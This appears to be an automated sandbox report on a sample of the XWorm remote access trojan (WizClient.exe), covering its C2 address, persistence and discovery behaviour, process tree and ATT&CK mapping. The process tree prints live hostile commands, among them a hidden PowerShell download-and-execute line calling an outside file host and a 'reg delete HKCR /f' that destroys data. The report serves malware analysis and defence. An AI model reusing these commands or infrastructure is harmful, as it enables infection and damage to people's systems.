Overview

overview

10

Static

static

10

WizClient.exe

windows10-2004-x64

10

WizClient.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    79s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/10/2026, 17:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WizClient.exe
  • Size 32KB
  • Sample261002-v1devafb23
  • SHA256 71b70d9ea504e3c90a4a4828333f82dd56e9200d018ed8791908aecbb598c0b2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionxwormpersistenceprivilege_escalationransomwarerattrojan

Malware Config

Extracted

Family

  • xworm

C2

  • 6.tcp.vip.cpolar.cn:10573

Mutex

  • 1Mg279NX8raGk9lD

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 1 IoCs
  • Modifies system executable filetype association 2 TTPs 36 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\WizClient.exe
    "C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
    1⤵
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Enumerates video capture drivers
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Users\Admin\AppData\Local\Temp\uxsxcw.exe
      "C:\Users\Admin\AppData\Local\Temp\uxsxcw.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies system executable filetype association
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2868
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2436
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Windows\system32\reg.exe
          reg delete HKCR /f
          4⤵
          • Modifies system executable filetype association
          • Modifies registry class
          PID:2828
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x4a8 0x500
    1⤵
      PID:3488

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          2
          T1059

          PowerShell

          1
          T1059.001

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          2
          T1546

          Change Default File Association

          1
          T1546.001

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Event Triggered Execution

          2
          T1546

          Change Default File Association

          1
          T1546.001

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          3
          T1082

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Video Capture

          1
          T1125

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_5xgiwyhh.zad.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xgiwyhh.zad.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          uxsxcw.exe
          • Path C:\Users\Admin\AppData\Local\Temp\uxsxcw.exe
          • Size 41KB
          • SHA256 c8810de8adf53ad37fd89c03b11c8f2cd016adbc56023d9e84d4b4753c44a8f5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/2436-24-0x0000019B721C0000-0x0000019B721E2000-memory.dmp
          Download

          memory/2868-18-0x0000000000470000-0x0000000000480000-memory.dmp
          Download

          memory/2868-19-0x000000001B160000-0x000000001B170000-memory.dmp
          Download

          memory/2868-20-0x000000001B160000-0x000000001B170000-memory.dmp
          Download

          memory/4820-0-0x0000000000A50000-0x0000000000A5E000-memory.dmp
          Download

          memory/4820-5-0x00000000013D0000-0x00000000013E0000-memory.dmp
          Download

          memory/4820-6-0x00000000013D0000-0x00000000013E0000-memory.dmp
          Download